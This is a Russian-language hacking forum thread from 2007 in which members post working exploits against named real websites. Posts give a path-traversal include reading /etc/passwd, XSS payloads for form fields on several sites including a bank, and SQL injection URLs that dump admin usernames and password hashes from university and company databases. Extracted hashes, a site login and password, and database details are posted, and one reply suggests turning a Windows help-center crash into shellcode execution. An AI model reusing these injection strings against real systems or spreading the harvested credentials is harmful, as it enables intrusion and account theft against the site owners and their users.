day & night

Уязвимости найденные вами, sql-inj, php-incl, xss...
Дата обновления: , перейти к новому сообщению
icon13
#1
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
Начну я. smile.gif
Инклюд для начала.
QUOTE
http://ai.isi.edu/ind.../../etc/passwd
User is offline
Go topGo end

Ответов(1 - 9)
16.06.2007 - 9:27
#2
zombie18



Опытный юзверь
**

Группа: Пользователи
Сообщений: 71
Регистрация: 11.02.2006
Пользователь №: 119.671


Респектов: 13
-----X----


Предупреждений:

ну вот xss докучи...
QUOTE
http://www.transtech.ru/Anketa/anketa1.htm

в поле Ф.И.О. вписываем
CODE
"><script>alert(/xss/)</script>

+1
QUOTE
http://www.regent.ru/about/graduates.html

помоему в любое поле вообще... такую же байду:
CODE
"><script>alert(/xss/)</script>

+1
QUOTE
http://www.vms.ru/pages/atketa.php

тоже куда хошь... ниче не фильтруется...
CODE
"><script>alert(/xss/)</script>

+1
QUOTE
http://www.osp.ru/

в поиске пишем:
CODE
"><script>alert(/xss/)</script>

+1
вот тебе и юниаструм банк (^_~)
QUOTE
http://www.uniastrum.ru/ru/ml_form/

в поле Фамилия, Имя, Отчество: тот же баг у всех на ">
CODE
"><body onLoad=alert('xss')>

+1
QUOTE
http://intv.ru/

при регистрации поле "ник" не фильтруется, можно написаль там к примеру:
CODE
"><script>alert('xss')</script>

чтобы посмотреть пример залогиньтесь с
e-mail: [email protected]
password: cIRLlQ

+1
QUOTE
http://www.klerk.ru/subscribe/register.php

уязвимо поле e-mail. пример использования:
CODE
http://www.klerk.ru/subscribe/register.php?email=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
User is offline
Go topGo end
29.07.2007 - 21:15
#3
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
CODE
http://www.oninit.com/reference/index.php?page=[url]
User is offline
Go topGo end
7.08.2007 - 18:30
#4
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
LZA Terminologijas komisija
Один из местных универов.
CODE
http://termini.lza.lv/article.php?id=-1+union+select+1,2,3,concat_ws(user,0x3a,pass),5,6,7,8,9,1,2,3,4,5,6,7,8+from+users/*

user: red1
pass: $1$ugldXdZ6$D06H80Jn5ab5Ok3HymTv8/
User is offline
Go topGo end
21.08.2007 - 18:14
#5
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
Big6: Information Skills for Student Achievement
Форум (цепляем по одному, кто админ незнаю, мемберлист не смотрел, там регаться надо smile.gif...):
Code
http://big6.com/showarticle.php?id=-1+union+select+concat_ws(username,0x3a,user_password),2,3,4,5+from+big6_users+limit+1,1/*

Блог (сразу админ):
Code
http://big6.com/showarticle.php?id=-1+union+select+concat_ws(user_login,0x3a,user_pass),2,3,4,5+from+blo_users+limit+0,1/*

Все хеши md5.
User is offline
Go topGo end
21.08.2007 - 20:34
#6
ZaHack



Большой Брат
Group Icon

Группа: Заблокированные
Сообщений: 1.252
Регистрация: 24.01.2006
Из: Where The Eagles Fly
Пользователь №: 333


Респектов: 117
-----X----
Не совсем по теме (тут больше веб-уязвимости), но все же:
Переполнение буфера обмена программы helpctr.exe
Уязвимые ОС: Win XP
При вводе в IE строки:

Code
hcp://w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.


происходит запуск самой программы helpctr.exe Это происходит из-за возникновения в приложении исключения (которое вызывается удаленно из браузера)

PS Практического применения эта уязвимость, конечно, не имеет, но наглядно показывает "надежность" продуктов от M$

PPS Работает не на всех компьютерах.
User is offline
Go topGo end
21.08.2007 - 23:07
#7
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
Цитата | Quote(ZaHack @ 21.08.2007 - 20:34)
PS Практического применения эта уязвимость, конечно, не имеет, но наглядно показывает "надежность" продуктов от M$
*


А почему нет? Переполненяем буфер, передаём управление шелл-коду... Все. smile.gif
User is offline
Go topGo end
28.08.2007 - 19:00
#8
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
Code
http://www.varmint.org/ishop/index.php?GID=-1+union+select+1,2,version(),4,5,6,7,8,9,1,2/*

Таблицы лень подбирать... smile.gif
User is offline
Go topGo end
28.08.2007 - 19:14
#9
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
ГОРОДСКОЙ ЭЛЕКТРОТРАНСПОРТ
совмещённый трамвайно-троллейбусный сайт

Code
http://stts.mosfont.ru/articles.php?gid=-1+union+select+1,table_name+from+information_schema.tables+limit+0,1/*
User is offline
Go topGo end
28.08.2007 - 20:06
#10
de1ay



профи!
[SoftoRooMTeaM] Group Icon

Группа: Наши Люди
Сообщений: 4.437
Регистрация: 14.10.2005
Из: EU
Пользователь №: 1.010


Респектов: 613
-----XXXX-
www.crim.ncsu.edu
Center for Robotics and Intelligent Machines

Достаем логин и хеш:
Code
http://www.crim.ncsu.edu/project_detailed.php?id=-1+union+select+1,2,3,concat(user_login,0x3a,user_pass),5,6,7,8,9,1,2,3,4,5,6,7,8+from+wp_users+limit+0,1/*

admin:75bb40f591c0db371aba50f65741d73f

Можно сбрутить... Логинимся тут:
http://www.crim.ncsu.edu/login.php

Статическая инфа:
Версия: 5.0.19-max-log
Пользователь: [email protected]
База: wp_crim
User is offline
Go topGo end
Вид темы: [ Линейный ] · Стандартный · Режимы сортировки: [ По возрастанию (0-9) ] · По убыванию (9-0)

 
Topic Options
Сейчас: 19.04.2024 - 2:32
 Мобильная версия | Lite версия
▲
SoftoRooM © 2004-2024